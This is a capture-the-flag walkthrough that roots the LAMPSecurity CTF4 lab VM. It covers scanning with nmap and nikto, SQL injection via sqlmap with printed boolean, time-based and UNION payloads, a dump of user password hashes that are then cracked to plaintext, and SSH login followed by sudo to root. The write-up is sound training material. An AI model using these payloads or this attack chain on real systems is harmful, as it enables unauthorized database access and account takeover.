Source Information

Author: madirish2600
Series: LAMPSecurity
Download: download.vulnhub.com/lampsecurity/ctf4.zip

“The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available here.”


Getting Started

As always, remember that it’s recommended to use walkthroughs as a “booster” to your own work when attempting to own vulnerable applications.
“For the things we have to learn before we can do them, we learn by doing them.” –Aristotle

First things first, let’s use arp-scan to ARP out across the local network and find our target server.

calvinbebop@Dolos:~$ arp-scan  -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.88.1	52:54:00:12:35:00	QEMU
10.0.88.3	08:00:27:26:33:03	CADMUS COMPUTER SYSTEMS
10.0.88.6	00:0c:29:28:d9:61	VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.417 seconds (105.92 hosts/sec). 3 responded

Initial Service Enumeration

Now that we have our target server (10.0.88.6), let’s use Nmap to discover potential attack vectors in the system. A complete description of the tool’s flag usage can be found here. To start we’ll use the following flags:

Flag Description
-sS Utilize a TCP SYN scan
-sV Probe open ports to determine service/version info
-sC Run the default set of service scripts
-A Enable OS detection, version detection, script scanning, and traceroute
-p- Target all TCP ports from 1-65535
calvinbebop@Dolos:~$ sudo nmap -sS -sV -sC -A -p- 10.0.88.6
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-24 11:19 CST
Nmap scan report for 10.0.88.6
Host is up (0.00078s latency).
Not shown: 65531 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 10:4a:18:f8:97:e0:72:27:b5:a4:33:93:3d:aa:9d:ef (DSA)
|_  2048 e7:70:d3:81:00:41:b8:6e:fd:31:ae:0e:00:ea:5c:b4 (RSA)
25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
| smtp-commands: ctf4.sas.upenn.edu Hello [10.0.88.5], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP, 
|_ 2.0.0 This is sendmail version 8.13.5 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 
80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
| http-robots.txt: 5 disallowed entries 
|_/mail/ /restricted/ /conf/ /sql/ /admin/
|_http-server-header: Apache/2.2.0 (Fedora)
|_http-title:  Prof. Ehks 
631/tcp closed ipp
MAC Address: 00:0C:29:28:D9:61 (VMware)
Device type: general purpose|remote management|terminal server|proxy server|switch|WAP
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (98%), Control4 embedded (96%), Lantronix embedded (96%), SonicWALL embedded (95%), Dell iDRAC 6 (94%), SNR embedded (94%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:lantronix:slc_8 cpe:/o:sonicwall:aventail_ex-6000 cpe:/o:dell:idrac6_firmware cpe:/h:snr:snr-s2960 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1
Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (98%), Linux 2.6.13 - 2.6.32 (96%), Control4 HC-300 home controller (96%), Lantronix SLC 8 terminal server (Linux 2.6) (96%), SonicWALL Aventail EX-6000 VPN appliance (95%), Linux 2.6.8 - 2.6.30 (94%), Linux 2.6.9 - 2.6.18 (94%), Dell iDRAC 6 remote access controller (Linux 2.6) (94%), SNR SNR-S2960 switch (94%), Linux 2.6.18 - 2.6.32 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: ctf4.sas.upenn.edu; OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.78 ms 10.0.88.6

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.76 seconds

Although there are multiple paths of entry for CTF4, we’ll be working to root the server via the web application hosted on port 80.

80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
| http-robots.txt: 5 disallowed entries 
|_/mail/ /restricted/ /conf/ /sql/ /admin/
|_http-server-header: Apache/2.2.0 (Fedora)
|_http-title:  Prof. Ehks

HTTP (80/TCP) Enumeration (Scanning)

During a normal engagement, I like to kick off a nikto scan of the web server in the background while I conduct a manual investigation of the site. There’s a plethora of useful information given to us from nikto, however we’ll focus on the manual investigation for now.

calvinbebop@Dolos:~$ nikto -h http://10.0.88.6
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.88.6
+ Target Hostname:    10.0.88.6
+ Target Port:        80
+ Start Time:         2018-11-24 11:25:26 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.0 (Fedora)
+ Retrieved x-powered-by header: PHP/5.1.2
+ Entry '/mail/' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/conf/' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ OSVDB-3268: /sql/: Directory indexing found.
+ Entry '/sql/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.0 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /pages/: Directory indexing found.
+ OSVDB-3092: /pages/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ Cookie SQMSESSID created without the httponly flag
+ OSVDB-3093: /mail/src/read_body.php: SquirrelMail found
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /admin/login.php: Admin login page/section found.
+ 8502 requests: 1 error(s) and 32 item(s) reported on remote host
+ End Time:           2018-11-24 11:26:06 (GMT-6) (40 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

HTTP (80/TCP) Enumeration (Manual)

Welcome to CTF4’s primary website, Professor Ehks Cetner for Data Studies.

Moving forward, there’s a few different rabbit holes we could chase down:

  • Manually browse around the navigation bar links (Blog, Research, Contact)
  • Fiddle with the HTTP URL Parameter “title”
  • Fiddle with the Search bar and attempt some lovely XSS or SQLi
  • Trek through the web page’s source code and look for hidden directories/fields
  • Check out what goodies “robots.txt” may have in store


For this particular walkthrough, we’ll be taking a gander over to the Blog portion of the site. This is what we see after requesting one user’s public blog entry.


An additional HTTP URL Parameter id was used to let the server know that we want to view this particular blog entry. Changing the number around to different values returns the web pages for some of the other blog entries, but let’s try something a little more fun. Adding an apostrophe or semicolon directly after the parameter’s value is often times a decent first test to pick up on a SQL Injection vulnerability. The apostrophe character is used for this test as it is the character limiter in SQL. With it, you may delimit strings therein testing whether or not the strings are correctly escaped in the application.


SQL Injection Exploitation

Now that we know the SQL strings are not being properly escaped, let’s feed it to sqlmap and see if we can’t whip up an exploitable SQL injection. sinister chuckle.

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.6/index.html?page=blog&title=Blog&id=2" -p "id" --dbms=mysql
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:03:50

[18:03:50] [INFO] testing connection to the target URL
[18:03:50] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[18:03:50] [INFO] testing if the target URL content is stable
[18:03:51] [INFO] target URL content is stable
[18:03:51] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[18:03:51] [INFO] testing for SQL injection on GET parameter 'id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:04:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:04:00] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Ut")
[18:04:00] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:04:00] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:04:00] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:04:00] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:04:00] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:04:00] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:04:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:04:00] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[18:04:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:04:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[18:04:00] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[18:04:00] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[18:04:00] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[18:04:00] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[18:04:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[18:04:00] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[18:04:00] [INFO] testing 'MySQL inline queries'
[18:04:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[18:04:01] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:04:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[18:04:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[18:04:01] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:04:01] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[18:04:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[18:04:11] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[18:04:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:04:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:04:11] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:04:11] [INFO] target URL appears to have 5 columns in query
[18:04:11] [INFO] target URL appears to be UNION injectable with 5 columns
[18:04:11] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 70 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 1300=1300

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blog&title=Blog&id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170706b71,0x4b796b536c54466e465a676271724a546d7649424c70675767517a58735645616d434a4d4b435162,0x7170787071)-- QXWN
---
[18:04:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: Apache 2.2.0, PHP 5.1.2
back-end DBMS: MySQL >= 5.0.12

[*] shutting down at 18:04:14

The important bit is that SQLmap was able to identify a few injection points

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 1300=1300

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blog&title=Blog&id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170706b71,0x4b796b536c54466e465a676271724a546d7649424c70675767517a58735645616d434a4d4b435162,0x7170787071)-- QXWN

Fortunately, SQLmap stores data from previous scans. This means that we can attempt to retrieve a list of the database’s tables without having to wait for the entire SQLi scan to run again

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.6/index.html?page=blog&title=Blog&id=2" -p "id" --dbms=mysql --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:11:00

[18:11:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=blog&title=Blog&id=2 AND 1300=1300

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blog&title=Blog&id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170706b71,0x4b796b536c54466e465a676271724a546d7649424c70675767517a58735645616d434a4d4b435162,0x7170787071)-- QXWN
---
[18:11:00] [INFO] testing MySQL
[18:11:00] [INFO] confirming MySQL
[18:11:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Fedora 5 (Bordeaux)
web application technology: Apache 2.2.0, PHP 5.1.2
back-end DBMS: MySQL >= 5.0.0
[18:11:01] [INFO] fetching database names
[18:11:01] [INFO] fetching tables for databases: 'ehks, information_schema, mysql, roundcubemail, test'
Database: roundcubemail
[6 tables]
+---------------------------------------+
| session                               |
| cache                                 |
| contacts                              |
| identities                            |
| messages                              |
| users                                 |
+---------------------------------------+

Database: ehks
[3 tables]
+---------------------------------------+
| user                                  |
| blog                                  |
| comment                               |
+---------------------------------------+

Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: mysql
[17 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| func                                  |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| proc                                  |
| procs_priv                            |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+

[18:11:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.6'

[*] shutting down at 18:11:01

We can then use SQLmap again to pull the users table from the ehks database

calvinbebop@Dolos:~$ sqlmap -u "http://10.0.88.6/index.html?page=blog&title=Blog&id=2" -p "id" --dbms=mysql --tables -D ehks -T users

This command stores the table information to a file that contains, whodathunkit, usernames and password hashes!

calvinbebop@Dolos:~$ cat /root/.sqlmap/output/10.0.88.6/dump/ehks/user.csv 
user_id,user_name,user_pass
1,dstevens,02e823a15a392b5aa4ff4ccb9060fa68
2,achen,b46265f1e7faa3beab09db5c28739380
3,pmoore,8f4743c04ed8e5f39166a81f26319bb5
4,jdurbin,7c7bc9f465d86b8164686ebb5151a717
5,sorzek,e0a23947029316880c29e8533d8662a3
6,ghighland,9f3eb3087298ff21843cc4e013cf355f

Hash Identification/Cracking

So you got yourself a fancy pile of password hashes, but now what?

A solid first step would be to identify exactly which hashing algorithm was used to digest the passwords using hash-identifier or an equivalent online tool.

calvinbebop@Dolos:~$ hash-identifier 
   #########################################################################
   #	 __  __ 		    		__		 	 ______    _____	       #
   #	/\ \/\ \		   		   /\ \ 		/\__  _\  /\  _ `\	       #
   #	\ \ \_\ \     __      ____ \ \ \___		\/_/\ \/  \ \ \/\ \	       #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R 							   #
   #							www.Blackploit.com 						   #
   #						       Root@Blackploit.com  				   #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: 02e823a15a392b5aa4ff4ccb9060fa68

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Luckily for us, MD5 hashes are relatively easy to crack and numerous online sources are happy to provide the “decrypted” strings for provided hashes. In the end, we’ll get a little something like this:

Username Hash Password
dstevens 02e823a15a392b5aa4ff4ccb9060fa68 ilike2surf
achen b46265f1e7faa3beab09db5c28739380 seventysixers
pmoore 8f4743c04ed8e5f39166a81f26319bb5 Homesite
jdurbin 7c7bc9f465d86b8164686ebb5151a717 Sue1978
sorzek e0a23947029316880c29e8533d8662a3 convertible
ghighland 9f3eb3087298ff21843cc4e013cf355f undone1

Rooted - SSH Login (22/TCP)

Not only are we able to login to the server via SSH using the first account, dstevens, but we are also able to escalate to root since his account was a member of the sudoers group!

calvinbebop@Dolos:~$ ssh dstevens@10.0.88.6
BSD SSH 4.1
dstevens@10.0.88.6's password: 
Last login: Sun Nov 25 23:20:30 2018 from 10.0.88.5
[dstevens@ctf4 ~]$ sudo su -
Password:
[root@ctf4 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t:SystemLow-SystemHigh
[root@ctf4 ~]#

EOL

Thanks for sticking around and I hope this was informative! As mentioned before, there are multiple solutions to rooting this box so get out there and see how many you can find yourself!
As always, if you have any questions, corrections, or comments, please feel free to reach out to me on Twitter and have yourself an excellent day!